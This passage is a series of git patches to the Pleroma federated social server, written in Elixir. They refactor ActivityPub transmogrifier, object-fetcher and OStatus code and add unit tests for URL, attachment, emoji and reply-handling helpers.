- |> Map.put("attachment", attachments)
+ Map.put(object, "attachment", attachments)
end
def fix_attachments(%{"attachment" => attachment} = object) when is_map(attachment) do
- Map.put(object, "attachment", [attachment])
- |> fix_attachments()
+ fix_attachments(Map.put(object, "attachment", [attachment]))
end
def fix_attachments(object), do: object
def fix_url(%{"url" => url} = object) when is_map(url) do
- object
- |> Map.put("url", url["href"])
+ Map.put(object, "url", url["href"])
end
def fix_url(%{"type" => "Video", "url" => url} = object) when is_list(url) do
first_element = Enum.at(url, 0)
- link_element =
- url
- |> Enum.filter(fn x -> is_map(x) end)
- |> Enum.filter(fn x -> x["mimeType"] == "text/html" end)
- |> Enum.at(0)
+ link_element = Enum.find(url, fn x -> is_map(x) and x["mimeType"] == "text/html" end)
object
|> Map.put("attachment", [first_element])
@@ -263,36 +246,32 @@ def fix_url(%{"type" => object_type, "url" => url} = object)
true -> ""
end
- object
- |> Map.put("url", url_string)
+ Map.put(object, "url", url_string)
end
def fix_url(object), do: object
def fix_emoji(%{"tag" => tags} = object) when is_list(tags) do
- emoji = tags |> Enum.filter(fn data -> data["type"] == "Emoji" and data["icon"] end)
-
emoji =
- emoji
+ tags
+ |> Enum.filter(fn data -> data["type"] == "Emoji" and data["icon"] end)
|> Enum.reduce(%{}, fn data, mapping ->
name = String.trim(data["name"], ":")
- mapping |> Map.put(name, data["icon"]["url"])
+ Map.put(mapping, name, data["icon"]["url"])
end)
# we merge mastodon and pleroma emoji into a single mapping, to allow for both wire formats
emoji = Map.merge(object["emoji"] || %{}, emoji)
- object
- |> Map.put("emoji", emoji)
+ Map.put(object, "emoji", emoji)
end
def fix_emoji(%{"tag" => %{"type" => "Emoji"} = tag} = object) do
name = String.trim(tag["name"], ":")
emoji = %{name => tag["icon"]["url"]}
- object
- |> Map.put("emoji", emoji)
+ Map.put(object, "emoji", emoji)
end
def fix_emoji(object), do: object
@@ -303,17 +282,13 @@ def fix_tag(%{"tag" => tag} = object) when is_list(tag) do
|> Enum.filter(fn data -> data["type"] == "Hashtag" and data["name"] end)
|> Enum.map(fn data -> String.slice(data["name"], 1..-1) end)
- combined = tag ++ tags
-
- object
- |> Map.put("tag", combined)
+ Map.put(object, "tag", tag ++ tags)
end
def fix_tag(%{"tag" => %{"type" => "Hashtag", "name" => hashtag} = tag} = object) do
combined = [tag, String.slice(hashtag, 1..-1)]
- object
- |> Map.put("tag", combined)
+ Map.put(object, "tag", combined)
end
def fix_tag(%{"tag" => %{} = tag} = object), do: Map.put(object, "tag", [tag])
@@ -325,8 +300,7 @@ def fix_content_map(%{"contentMap" => content_map} = object) do
content_groups = Map.to_list(content_map)
{_, content} = Enum.at(content_groups, 0)
- object
- |> Map.put("content", content)
+ Map.put(object, "content", content)
end
def fix_content_map(object), do: object
@@ -335,16 +309,11 @@ def fix_type(object, options \\ [])
def fix_type(%{"inReplyTo" => reply_id, "name" => _} = object, options)
when is_binary(reply_id) do
- reply =
- with true <- Federator.allowed_incoming_reply_depth?(options[:depth]),
- {:ok, object} <- get_obj_helper(reply_id, options) do
- object
- end
-
- if reply && reply.data["type"] == "Question" do
+ with true <- Federator.allowed_incoming_reply_depth?(options[:depth]),
+ {:ok, %{data: %{"type" => "Question"} = _} = _} <- get_obj_helper(reply_id, options) do
Map.put(object, "type", "Answer")
else
- object
+ _ -> object
end
end
@@ -376,6 +345,17 @@ defp get_follow_activity(follow_object, followed) do
end
end
+ # Reduce the object list to find the reported user.
+ defp get_reported(objects) do
+ Enum.reduce_while(objects, nil, fn ap_id, _ ->
+ with %User{} = user <- User.get_cached_by_ap_id(ap_id) do
+ {:halt, user}
+ else
+ _ -> {:cont, nil}
+ end
+ end)
+ end
+
def handle_incoming(data, options \\ [])
# Flag objects are placed ahead of the ID check because Mastodon 2.8 and earlier send them
@@ -384,31 +364,19 @@ def handle_incoming(%{"type" => "Flag", "object" => objects, "actor" => actor} =
with context <- data["context"] || Utils.generate_context_id(),
content <- data["content"] || "",
%User{} = actor <- User.get_cached_by_ap_id(actor),
-
# Reduce the object list to find the reported user.
- %User{} = account <-
- Enum.reduce_while(objects, nil, fn ap_id, _ ->
- with %User{} = user <- User.get_cached_by_ap_id(ap_id) do
- {:halt, user}
- else
- _ -> {:cont, nil}
- end
- end),
-
+ %User{} = account <- get_reported(objects),
# Remove the reported user from the object list.
statuses <- Enum.filter(objects, fn ap_id -> ap_id != account.ap_id end) do
- params = %{
+ %{
actor: actor,
context: context,
account: account,
statuses: statuses,
content: content,
- additional: %{
- "cc" => [account.ap_id]
- }
+ additional: %{"cc" => [account.ap_id]}
}
-
- ActivityPub.flag(params)
+ |> ActivityPub.flag()
end
end
@@ -755,8 +723,13 @@ def handle_incoming(
def handle_incoming(_, _), do: :error
+ @spec get_obj_helper(String.t(), Keyword.t()) :: {:ok, Object.t()} | nil
def get_obj_helper(id, options \\ []) do
- if object = Object.normalize(id, true, options), do: {:ok, object}, else: nil
+ if object = Object.normalize(id, true, options) do
+ {:ok, object}
+ else
+ nil
+ end
end
def set_reply_to_uri(%{"inReplyTo" => in_reply_to} = object) when is_binary(in_reply_to) do
@@ -855,27 +828,24 @@ def prepare_outgoing(%{"type" => _type} = data) do
{:ok, data}
end
- def maybe_fix_object_url(data) do
- if is_binary(data["object"]) and not String.starts_with?(data["object"], "http") do
- case get_obj_helper(data["object"]) do
- {:ok, relative_object} ->
- if relative_object.data["external_url"] do
- _data =
- data
- |> Map.put("object", relative_object.data["external_url"])
- else
- data
- end
-
- e ->
- Logger.error("Couldn't fetch #{data["object"]} #{inspect(e)}")
- data
- end
+ def maybe_fix_object_url(%{"object" => object} = data) when is_binary(object) do
+ with false <- String.starts_with?(object, "http"),
+ {:fetch, {:ok, relative_object}} <- {:fetch, get_obj_helper(object)},
+ %{data: %{"external_url" => external_url}} when not is_nil(external_url) <-
+ relative_object do
+ Map.put(data, "object", external_url)
else
- data
+ {:fetch, e} ->
+ Logger.error("Couldn't fetch #{object} #{inspect(e)}")
+ data
+
+ _ ->
+ data
end
end
+ def maybe_fix_object_url(data), do: data
+
def add_hashtags(object) do
tags =
(object["tag"] || [])
@@ -893,8 +863,7 @@ def add_hashtags(object) do
tag
end)
- object
- |> Map.put("tag", tags)
+ Map.put(object, "tag", tags)
end
def add_mention_tags(object) do
@@ -907,15 +876,13 @@ def add_mention_tags(object) do
tags = object["tag"] || []
- object
- |> Map.put("tag", tags ++ mentions)
+ Map.put(object, "tag", tags ++ mentions)
end
def add_emoji_tags(%User{info: %{"emoji" => _emoji} = user_info} = object) do
user_info = add_emoji_tags(user_info)
- object
- |> Map.put(:info, user_info)
+ Map.put(object, :info, user_info)
end
# TODO: we should probably send mtime instead of unix epoch time for updated
@@ -923,8 +890,7 @@ def add_emoji_tags(%{"emoji" => emoji} = object) do
tags = object["tag"] || []
out =
- emoji
- |> Enum.map(fn {name, url} ->
+ Enum.map(emoji, fn {name, url} ->
%{
"icon" => %{"url" => url, "type" => "Image"},
"name" => ":" <> name <> ":",
@@ -934,13 +900,10 @@ def add_emoji_tags(%{"emoji" => emoji} = object) do
}
end)
- object
- |> Map.put("tag", tags ++ out)
+ Map.put(object, "tag", tags ++ out)
end
- def add_emoji_tags(object) do
- object
- end
+ def add_emoji_tags(object), do: object
def set_conversation(object) do
Map.put(object, "conversation", object["context"])
@@ -959,9 +922,7 @@ def set_type(object), do: object
def add_attributed_to(object) do
attributed_to = object["attributedTo"] || object["actor"]
-
- object
- |> Map.put("attributedTo", attributed_to)
+ Map.put(object, "attributedTo", attributed_to)
end
def prepare_attachments(object) do
@@ -972,8 +933,7 @@ def prepare_attachments(object) do
%{"url" => href, "mediaType" => media_type, "name" => data["name"], "type" => "Document"}
end)
- object
- |> Map.put("attachment", attachments)
+ Map.put(object, "attachment", attachments)
end
defp strip_internal_fields(object) do
@@ -990,12 +950,9 @@ defp strip_internal_fields(object) do
end
defp strip_internal_tags(%{"tag" => tags} = object) do
- tags =
- tags
- |> Enum.filter(fn x -> is_map(x) end)
+ tags = Enum.filter(tags, fn x -> is_map(x) end)
- object
- |> Map.put("tag", tags)
+ Map.put(object, "tag", tags)
end
defp strip_internal_tags(object), do: object
@@ -1074,16 +1031,11 @@ def maybe_retire_websub(ap_id) do
end
end
- def maybe_fix_user_url(data) do
- if is_map(data["url"]) do
- Map.put(data, "url", data["url"]["href"])
- else
- data
- end
+ def maybe_fix_user_url(%{"url" => url} = data) when is_map(url) do
+ Map.put(data, "url", url["href"])
end
- def maybe_fix_user_object(data) do
- data
- |> maybe_fix_user_url
- end
+ def maybe_fix_user_url(data), do: data
+
+ def maybe_fix_user_object(data), do: maybe_fix_user_url(data)
end
diff --git a/test/web/activity_pub/transmogrifier_test.exs b/test/web/activity_pub/transmogrifier_test.exs
index 0661d5d7c..63c869d35 100644
--- a/test/web/activity_pub/transmogrifier_test.exs
+++ b/test/web/activity_pub/transmogrifier_test.exs
@@ -1451,4 +1451,166 @@ test "removes recipient's follower collection from cc", %{user: user} do
refute recipient.follower_address in fixed_object["to"]
end
end
+
+ describe "fix_summary/1" do
+ test "returns fixed object" do
+ assert Transmogrifier.fix_summary(%{"summary" => nil}) == %{"summary" => ""}
+ assert Transmogrifier.fix_summary(%{"summary" => "ok"}) == %{"summary" => "ok"}
+ assert Transmogrifier.fix_summary(%{}) == %{"summary" => ""}
+ end
+ end
+
+ describe "fix_in_reply_to/2" do
+ clear_config([:instance, :federation_incoming_replies_max_depth])
+
+ setup do
+ data = Poison.decode!(File.read!("test/fixtures/mastodon-post-activity.json"))
+ [data: data]
+ end
+
+ test "returns not modified object when hasn't containts inReplyTo field", %{data: data} do
+ assert Transmogrifier.fix_in_reply_to(data) == data
+ end
+
+ test "returns object with inReplyToAtomUri when denied incoming reply", %{data: data} do
+ Pleroma.Config.put([:instance, :federation_incoming_replies_max_depth], 0)
+
+ object_with_reply =
+ Map.put(data["object"], "inReplyTo", "https://shitposter.club/notice/2827873")
+
+ modified_object = Transmogrifier.fix_in_reply_to(object_with_reply)
+ assert modified_object["inReplyTo"] == "https://shitposter.club/notice/2827873"
+ assert modified_object["inReplyToAtomUri"] == "https://shitposter.club/notice/2827873"
+
+ object_with_reply =
+ Map.put(data["object"], "inReplyTo", %{"id" => "https://shitposter.club/notice/2827873"})
+
+ modified_object = Transmogrifier.fix_in_reply_to(object_with_reply)
+ assert modified_object["inReplyTo"] == %{"id" => "https://shitposter.club/notice/2827873"}
+ assert modified_object["inReplyToAtomUri"] == "https://shitposter.club/notice/2827873"
+
+ object_with_reply =
+ Map.put(data["object"], "inReplyTo", ["https://shitposter.club/notice/2827873"])
+
+ modified_object = Transmogrifier.fix_in_reply_to(object_with_reply)
+ assert modified_object["inReplyTo"] == ["https://shitposter.club/notice/2827873"]
+ assert modified_object["inReplyToAtomUri"] == "https://shitposter.club/notice/2827873"
+
+ object_with_reply = Map.put(data["object"], "inReplyTo", [])
+ modified_object = Transmogrifier.fix_in_reply_to(object_with_reply)
+ assert modified_object["inReplyTo"] == []
+ assert modified_object["inReplyToAtomUri"] == ""
+ end
+
+ test "returns modified object when allowed incoming reply", %{data: data} do
+ object_with_reply =
+ Map.put(
+ data["object"],
+ "inReplyTo",
+ "https://shitposter.club/notice/2827873"
+ )
+
+ Pleroma.Config.put([:instance, :federation_incoming_replies_max_depth], 5)
+ modified_object = Transmogrifier.fix_in_reply_to(object_with_reply)
+
+ assert modified_object["inReplyTo"] ==
+ "tag:shitposter.club,2017-05-05:noticeId=2827873:objectType=comment"
+
+ assert modified_object["inReplyToAtomUri"] == "https://shitposter.club/notice/2827873"
+
+ assert modified_object["conversation"] ==
+ "tag:shitposter.club,2017-05-05:objectType=thread:nonce=3c16e9c2681f6d26"
+
+ assert modified_object["context"] ==
+ "tag:shitposter.club,2017-05-05:objectType=thread:nonce=3c16e9c2681f6d26"
+ end
+ end
+
+ describe "fix_url/1" do
+ test "fixes data for object when url is map" do
+ object = %{
+ "url" => %{
+ "type" => "Link",
+ "mimeType" => "video/mp4",
+ "href" => "https://peede8d-46fb-ad81-2d4c2d1630e3-480.mp4"
+ }
+ }
+
+ assert Transmogrifier.fix_url(object) == %{
+ "url" => "https://peede8d-46fb-ad81-2d4c2d1630e3-480.mp4"
+ }
+ end
+
+ test "fixes data for video object" do
+ object = %{
+ "type" => "Video",
+ "url" => [
+ %{
+ "type" => "Link",
+ "mimeType" => "video/mp4",
+ "href" => "https://peede8d-46fb-ad81-2d4c2d1630e3-480.mp4"
+ },
+ %{
+ "type" => "Link",
+ "mimeType" => "video/mp4",
+ "href" => "https://peertube46fb-ad81-2d4c2d1630e3-240.mp4"
+ },
+ %{
+ "type" => "Link",
+ "mimeType" => "text/html",
+ "href" => "https://peertube.-2d4c2d1630e3"
+ },
+ %{
+ "type" => "Link",
+ "mimeType" => "text/html",
+ "href" => "https://peertube.-2d4c2d16377-42"
+ }
+ ]
+ }
+
+ assert Transmogrifier.fix_url(object) == %{
+ "attachment" => [
+ %{
+ "href" => "https://peede8d-46fb-ad81-2d4c2d1630e3-480.mp4",
+ "mimeType" => "video/mp4",
+ "type" => "Link"
+ }
+ ],
+ "type" => "Video",
+ "url" => "https://peertube.-2d4c2d1630e3"
+ }
+ end
+
+ test "fixes url for not Video object" do
+ object = %{
+ "type" => "Text",
+ "url" => [
+ %{
+ "type" => "Link",
+ "mimeType" => "text/html",
+ "href" => "https://peertube.-2d4c2d1630e3"
+ },
+ %{
+ "type" => "Link",
+ "mimeType" => "text/html",
+ "href" => "https://peertube.-2d4c2d16377-42"
+ }
+ ]
+ }
+
+ assert Transmogrifier.fix_url(object) == %{
+ "type" => "Text",
+ "url" => "https://peertube.-2d4c2d1630e3"
+ }
+
+ assert Transmogrifier.fix_url(%{"type" => "Text", "url" => []}) == %{
+ "type" => "Text",
+ "url" => ""
+ }
+ end
+
+ test "retunrs not modified object" do
+ assert Transmogrifier.fix_url(%{"type" => "Text"}) == %{"type" => "Text"}
+ end
+ end
end
From fcf604fa43031be747b33c05866a192d9651322c Mon Sep 17 00:00:00 2001
From: Maksim Pechnikov
Date: Wed, 11 Sep 2019 07:23:33 +0300
Subject: [PATCH 014/148] added tests
---
lib/pleroma/object/fetcher.ex | 77 ++++++++++---------
.../web/activity_pub/transmogrifier.ex | 12 +--
test/web/activity_pub/transmogrifier_test.exs | 74 ++++++++++++++++++
3 files changed, 121 insertions(+), 42 deletions(-)
diff --git a/lib/pleroma/object/fetcher.ex b/lib/pleroma/object/fetcher.ex
index c1795ae0f..2217d1eb3 100644
--- a/lib/pleroma/object/fetcher.ex
+++ b/lib/pleroma/object/fetcher.ex
@@ -13,6 +13,7 @@ defmodule Pleroma.Object.Fetcher do
require Logger
+ @spec reinject_object(map()) :: {:ok, Object.t()} | {:error, any()}
defp reinject_object(data) do
Logger.debug("Reinjecting object #{data["id"]}")
@@ -29,50 +30,54 @@ defp reinject_object(data) do
# TODO:
# This will create a Create activity, which we need internally at the moment.
def fetch_object_from_id(id, options \\ []) do
- if object = Object.get_cached_by_ap_id(id) do
+ with {:fetch_object, nil} <- {:fetch_object, Object.get_cached_by_ap_id(id)},
+ {:fetch, {:ok, data}} <- {:fetch, fetch_and_contain_remote_object_from_id(id)},
+ {:normalize, nil} <- {:normalize, Object.normalize(data, false)},
+ params <- prepare_activity_params(data),
+ {:containment, :ok} <- {:containment, Containment.contain_origin(id, params)},
+ {:ok, activity} <- Transmogrifier.handle_incoming(params, options),
+ {:object, _data, %Object{} = object} <-
+ {:object, data, Object.normalize(activity, false)} do
{:ok, object}
else
- Logger.info("Fetching #{id} via AP")
+ {:containment, _} ->
+ {:error, "Object containment failed."}
- with {:fetch, {:ok, data}} <- {:fetch, fetch_and_contain_remote_object_from_id(id)},
- {:normalize, nil} <- {:normalize, Object.normalize(data, false)},
- params <- %{
- "type" => "Create",
- "to" => data["to"],
- "cc" => data["cc"],
- # Should we seriously keep this attributedTo thing?
- "actor" => data["actor"] || data["attributedTo"],
- "object" => data
- },
- {:containment, :ok} <- {:containment, Containment.contain_origin(id, params)},
- {:ok, activity} <- Transmogrifier.handle_incoming(params, options),
- {:object, _data, %Object{} = object} <-
- {:object, data, Object.normalize(activity, false)} do
+ {:error, {:reject, nil}} ->
+ {:reject, nil}
+
+ {:object, data, nil} ->
+ reinject_object(data)
+
+ {:normalize, object = %Object{}} ->
{:ok, object}
- else
- {:containment, _} ->
- {:error, "Object containment failed."}
- {:error, {:reject, nil}} ->
- {:reject, nil}
+ {:fetch_object, %Object{} = object} ->
+ {:ok, object}
- {:object, data, nil} ->
- reinject_object(data)
+ _e ->
+ # Only fallback when receiving a fetch/normalization error with ActivityPub
+ Logger.info("Couldn't get object via AP, trying out OStatus fetching...")
- {:normalize, object = %Object{}} ->
- {:ok, object}
-
- _e ->
- # Only fallback when receiving a fetch/normalization error with ActivityPub
- Logger.info("Couldn't get object via AP, trying out OStatus fetching...")
-
- # FIXME: OStatus Object Containment?
- case OStatus.fetch_activity_from_url(id) do
- {:ok, [activity | _]} -> {:ok, Object.normalize(activity, false)}
- e -> e
- end
- end
+ # FIXME: OStatus Object Containment?
+ case OStatus.fetch_activity_from_url(id) do
+ {:ok, [activity | _]} -> {:ok, Object.normalize(activity, false)}
+ e -> e
+ end
end
+
+ # end
+ end
+
+ defp prepare_activity_params(data) do
+ %{
+ "type" => "Create",
+ "to" => data["to"],
+ "cc" => data["cc"],
+ # Should we seriously keep this attributedTo thing?
+ "actor" => data["actor"] || data["attributedTo"],
+ "object" => data
+ }
end
def fetch_object_from_id!(id, options \\ []) do
diff --git a/lib/pleroma/web/activity_pub/transmogrifier.ex b/lib/pleroma/web/activity_pub/transmogrifier.ex
index 93b3a1f97..18a3c3f39 100644
--- a/lib/pleroma/web/activity_pub/transmogrifier.ex
+++ b/lib/pleroma/web/activity_pub/transmogrifier.ex
@@ -204,7 +204,6 @@ def fix_attachments(%{"attachment" => attachment} = object) when is_list(attachm
Enum.map(attachment, fn data ->
media_type = data["mediaType"] || data["mimeType"]
href = data["url"] || data["href"]
-
url = [%{"type" => "Link", "mediaType" => media_type, "href" => href}]
data
@@ -216,7 +215,9 @@ def fix_attachments(%{"attachment" => attachment} = object) when is_list(attachm
end
def fix_attachments(%{"attachment" => attachment} = object) when is_map(attachment) do
- fix_attachments(Map.put(object, "attachment", [attachment]))
+ object
+ |> Map.put("attachment", [attachment])
+ |> fix_attachments()
end
def fix_attachments(object), do: object
@@ -725,10 +726,9 @@ def handle_incoming(_, _), do: :error
@spec get_obj_helper(String.t(), Keyword.t()) :: {:ok, Object.t()} | nil
def get_obj_helper(id, options \\ []) do
- if object = Object.normalize(id, true, options) do
- {:ok, object}
- else
- nil
+ case Object.normalize(id, true, options) do
+ %Object{} = object -> {:ok, object}
+ _ -> nil
end
end
diff --git a/test/web/activity_pub/transmogrifier_test.exs b/test/web/activity_pub/transmogrifier_test.exs
index 63c869d35..ab6e76056 100644
--- a/test/web/activity_pub/transmogrifier_test.exs
+++ b/test/web/activity_pub/transmogrifier_test.exs
@@ -1613,4 +1613,78 @@ test "retunrs not modified object" do
assert Transmogrifier.fix_url(%{"type" => "Text"}) == %{"type" => "Text"}
end
end
+
+ describe "get_obj_helper/2" do
+ test "returns nil when cannot normalize object" do
+ refute Transmogrifier.get_obj_helper("test-obj-id")
+ end
+
+ test "returns {:ok, %Object{}} for success case" do
+ assert {:ok, %Object{}} =
+ Transmogrifier.get_obj_helper("https://shitposter.club/notice/2827873")
+ end
+ end
+
+ describe "fix_attachments/1" do
+ test "returns not modified object" do
+ data = Poison.decode!(File.read!("test/fixtures/mastodon-post-activity.json"))
+ assert Transmogrifier.fix_attachments(data) == data
+ end
+
+ test "returns modified object when attachment is map" do
+ assert Transmogrifier.fix_attachments(%{
+ "attachment" => %{
+ "mediaType" => "video/mp4",
+ "url" => "https://peertube.moe/stat-480.mp4"
+ }
+ }) == %{
+ "attachment" => [
+ %{
+ "mediaType" => "video/mp4",
+ "url" => [
+ %{
+ "href" => "https://peertube.moe/stat-480.mp4",
+ "mediaType" => "video/mp4",
+ "type" => "Link"
+ }
+ ]
+ }
+ ]
+ }
+ end
+
+ test "returns modified object when attachment is list" do
+ assert Transmogrifier.fix_attachments(%{
+ "attachment" => [
+ %{"mediaType" => "video/mp4", "url" => "https://pe.er/stat-480.mp4"},
+ %{"mimeType" => "video/mp4", "href" => "https://pe.er/stat-480.mp4"}
+ ]
+ }) == %{
+ "attachment" => [
+ %{
+ "mediaType" => "video/mp4",
+ "url" => [
+ %{
+ "href" => "https://pe.er/stat-480.mp4",
+ "mediaType" => "video/mp4",
+ "type" => "Link"
+ }
+ ]
+ },
+ %{
+ "href" => "https://pe.er/stat-480.mp4",
+ "mediaType" => "video/mp4",
+ "mimeType" => "video/mp4",
+ "url" => [
+ %{
+ "href" => "https://pe.er/stat-480.mp4",
+ "mediaType" => "video/mp4",
+ "type" => "Link"
+ }
+ ]
+ }
+ ]
+ }
+ end
+ end
end
From 007e0c1ce158bdfc11738a194944534837ae0258 Mon Sep 17 00:00:00 2001
From: Maksim Pechnikov
Date: Wed, 11 Sep 2019 23:19:06 +0300
Subject: [PATCH 015/148] added tests
---
.../web/activity_pub/transmogrifier.ex | 35 ++++++++++---------
.../web/activity_pub/views/user_view.ex | 7 ++--
test/web/activity_pub/transmogrifier_test.exs | 31 ++++++++++++++++
.../web/activity_pub/views/user_view_test.exs | 16 +++++++++
4 files changed, 68 insertions(+), 21 deletions(-)
diff --git a/lib/pleroma/web/activity_pub/transmogrifier.ex b/lib/pleroma/web/activity_pub/transmogrifier.ex
index 18a3c3f39..9f699de9e 100644
--- a/lib/pleroma/web/activity_pub/transmogrifier.ex
+++ b/lib/pleroma/web/activity_pub/transmogrifier.ex
@@ -870,41 +870,44 @@ def add_mention_tags(object) do
mentions =
object
|> Utils.get_notified_from_object()
- |> Enum.map(fn user ->
- %{"type" => "Mention", "href" => user.ap_id, "name" => "@#{user.nickname}"}
- end)
+ |> Enum.map(&build_mention_tag/1)
tags = object["tag"] || []
Map.put(object, "tag", tags ++ mentions)
end
- def add_emoji_tags(%User{info: %{"emoji" => _emoji} = user_info} = object) do
- user_info = add_emoji_tags(user_info)
+ defp build_mention_tag(%{ap_id: ap_id, nickname: nickname} = _) do
+ %{"type" => "Mention", "href" => ap_id, "name" => "@#{nickname}"}
+ end
- Map.put(object, :info, user_info)
+ def take_emoji_tags(%User{info: %{emoji: emoji} = _user_info} = _user) do
+ emoji
+ |> Enum.flat_map(&Map.to_list/1)
+ |> Enum.map(&build_emoji_tag/1)
end
# TODO: we should probably send mtime instead of unix epoch time for updated
def add_emoji_tags(%{"emoji" => emoji} = object) do
tags = object["tag"] || []
- out =
- Enum.map(emoji, fn {name, url} ->
- %{
- "icon" => %{"url" => url, "type" => "Image"},
- "name" => ":" <> name <> ":",
- "type" => "Emoji",
- "updated" => "1970-01-01T00:00:00Z",
- "id" => url
- }
- end)
+ out = Enum.map(emoji, &build_emoji_tag/1)
Map.put(object, "tag", tags ++ out)
end
def add_emoji_tags(object), do: object
+ defp build_emoji_tag({name, url}) do
+ %{
+ "icon" => %{"url" => url, "type" => "Image"},
+ "name" => ":" <> name <> ":",
+ "type" => "Emoji",
+ "updated" => "1970-01-01T00:00:00Z",
+ "id" => url
+ }
+ end
+
def set_conversation(object) do
Map.put(object, "conversation", object["context"])
end
diff --git a/lib/pleroma/web/activity_pub/views/user_view.ex b/lib/pleroma/web/activity_pub/views/user_view.ex
index 7be734b26..8abfa1fcd 100644
--- a/lib/pleroma/web/activity_pub/views/user_view.ex
+++ b/lib/pleroma/web/activity_pub/views/user_view.ex
@@ -75,10 +75,7 @@ def render("user.json", %{user: user}) do
endpoints = render("endpoints.json", %{user: user})
- user_tags =
- user
- |> Transmogrifier.add_emoji_tags()
- |> Map.get("tag", [])
+ emoji_tags = Transmogrifier.take_emoji_tags(user)
fields =
user.info
@@ -110,7 +107,7 @@ def render("user.json", %{user: user}) do
},
"endpoints" => endpoints,
"attachment" => fields,
- "tag" => (user.info.source_data["tag"] || []) ++ user_tags
+ "tag" => (user.info.source_data["tag"] || []) ++ emoji_tags
}
|> Map.merge(maybe_make_image(&User.avatar_url/2, "icon", user))
|> Map.merge(maybe_make_image(&User.banner_url/2, "image", user))
diff --git a/test/web/activity_pub/transmogrifier_test.exs b/test/web/activity_pub/transmogrifier_test.exs
index ab6e76056..87ef843c6 100644
--- a/test/web/activity_pub/transmogrifier_test.exs
+++ b/test/web/activity_pub/transmogrifier_test.exs
@@ -1687,4 +1687,35 @@ test "returns modified object when attachment is list" do
}
end
end
+
+ describe "fix_emoji/1" do
+ test "returns not modified object when object not contains tags" do
+ data = Poison.decode!(File.read!("test/fixtures/mastodon-post-activity.json"))
+ assert Transmogrifier.fix_emoji(data) == data
+ end
+
+ test "returns object with emoji when object contains list tags" do
+ assert Transmogrifier.fix_emoji(%{
+ "tag" => [
+ %{"type" => "Emoji", "name" => ":bib:", "icon" => %{"url" => "/test"}},
+ %{"type" => "Hashtag"}
+ ]
+ }) == %{
+ "emoji" => %{"bib" => "/test"},
+ "tag" => [
+ %{"icon" => %{"url" => "/test"}, "name" => ":bib:", "type" => "Emoji"},
+ %{"type" => "Hashtag"}
+ ]
+ }
+ end
+
+ test "returns object with emoji when object contains map tag" do
+ assert Transmogrifier.fix_emoji(%{
+ "tag" => %{"type" => "Emoji", "name" => ":bib:", "icon" => %{"url" => "/test"}}
+ }) == %{
+ "emoji" => %{"bib" => "/test"},
+ "tag" => %{"icon" => %{"url" => "/test"}, "name" => ":bib:", "type" => "Emoji"}
+ }
+ end
+ end
end
diff --git a/test/web/activity_pub/views/user_view_test.exs b/test/web/activity_pub/views/user_view_test.exs
index fb7fd9e79..4390f9272 100644
--- a/test/web/activity_pub/views/user_view_test.exs
+++ b/test/web/activity_pub/views/user_view_test.exs
@@ -37,6 +37,22 @@ test "Renders profile fields" do
} = UserView.render("user.json", %{user: user})
end
+ test "Renders with emoji tags" do
+ user = insert(:user, %{info: %{emoji: [%{"bib" => "/test"}]}})
+
+ assert %{
+ "tag" => [
+ %{
+ "icon" => %{"type" => "Image", "url" => "/test"},
+ "id" => "/test",
+ "name" => ":bib:",
+ "type" => "Emoji",
+ "updated" => "1970-01-01T00:00:00Z"
+ }
+ ]
+ } = UserView.render("user.json", %{user: user})
+ end
+
test "Does not add an avatar image if the user hasn't set one" do
user = insert(:user)
{:ok, user} = User.ensure_keys_present(user)
From 4f548cb2b7b4a16a956a4f4a0ff64d279777925e Mon Sep 17 00:00:00 2001
From: Maksim Pechnikov
Date: Thu, 12 Sep 2019 09:59:34 +0300
Subject: [PATCH 016/148] added test for Ostatus
---
.../web/activity_pub/transmogrifier.ex | 10 +-
lib/pleroma/web/ostatus/ostatus.ex | 99 ++++++++-----------
lib/pleroma/web/ostatus/ostatus_controller.ex | 12 +--
test/web/ostatus/ostatus_test.exs | 14 +++
4 files changed, 68 insertions(+), 67 deletions(-)
diff --git a/lib/pleroma/web/activity_pub/transmogrifier.ex b/lib/pleroma/web/activity_pub/transmogrifier.ex
index 468961bd0..acd61bda3 100644
--- a/lib/pleroma/web/activity_pub/transmogrifier.ex
+++ b/lib/pleroma/web/activity_pub/transmogrifier.ex
@@ -1049,8 +1049,8 @@ def upgrade_user_from_ap_id(ap_id) do
with %User{local: false} = user <- User.get_cached_by_ap_id(ap_id),
{:ok, data} <- ActivityPub.fetch_and_prepare_user_from_ap_id(ap_id),
already_ap <- User.ap_enabled?(user),
- {:ok, user} <- user |> User.upgrade_changeset(data) |> User.update_and_set_cache() do
- unless already_ap do
+ {:ok, user} <- upgrade_user(user, data) do
+ if not already_ap do
PleromaJobQueue.enqueue(:transmogrifier, __MODULE__, [:user_upgrade, user])
end
@@ -1061,6 +1061,12 @@ def upgrade_user_from_ap_id(ap_id) do
end
end
+ defp upgrade_user(user, data) do
+ user
+ |> User.upgrade_changeset(data)
+ |> User.update_and_set_cache()
+ end
+
def maybe_retire_websub(ap_id) do
# some sanity checks
if is_binary(ap_id) && String.length(ap_id) > 8 do
diff --git a/lib/pleroma/web/ostatus/ostatus.ex b/lib/pleroma/web/ostatus/ostatus.ex
index 331cbc0b7..5de1ceef3 100644
--- a/lib/pleroma/web/ostatus/ostatus.ex
+++ b/lib/pleroma/web/ostatus/ostatus.ex
@@ -3,14 +3,12 @@
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.OStatus do
- import Ecto.Query
import Pleroma.Web.XML
require Logger
alias Pleroma.Activity
alias Pleroma.HTTP
alias Pleroma.Object
- alias Pleroma.Repo
alias Pleroma.User
alias Pleroma.Web
alias Pleroma.Web.ActivityPub.ActivityPub
@@ -38,21 +36,13 @@ def is_representable?(%Activity{} = activity) do
end
end
- def feed_path(user) do
- "#{user.ap_id}/feed.atom"
- end
+ def feed_path(user), do: "#{user.ap_id}/feed.atom"
- def pubsub_path(user) do
- "#{Web.base_url()}/push/hub/#{user.nickname}"
- end
+ def pubsub_path(user), do: "#{Web.base_url()}/push/hub/#{user.nickname}"
- def salmon_path(user) do
- "#{user.ap_id}/salmon"
- end
+ def salmon_path(user), do: "#{user.ap_id}/salmon"
- def remote_follow_path do
- "#{Web.base_url()}/ostatus_subscribe?acct={uri}"
- end
+ def remote_follow_path, do: "#{Web.base_url()}/ostatus_subscribe?acct={uri}"
def handle_incoming(xml_string, options \\ []) do
with doc when doc != :error <- parse_document(xml_string) do
@@ -217,10 +207,9 @@ def get_content(entry) do
Get the cw that mastodon uses.
"""
def get_cw(entry) do
- with cw when not is_nil(cw) <- string_from_xpath("/*/summary", entry) do
- cw
- else
- _e -> nil
+ case string_from_xpath("/*/summary", entry) do
+ cw when not is_nil(cw) -> cw
+ _ -> nil
end
end
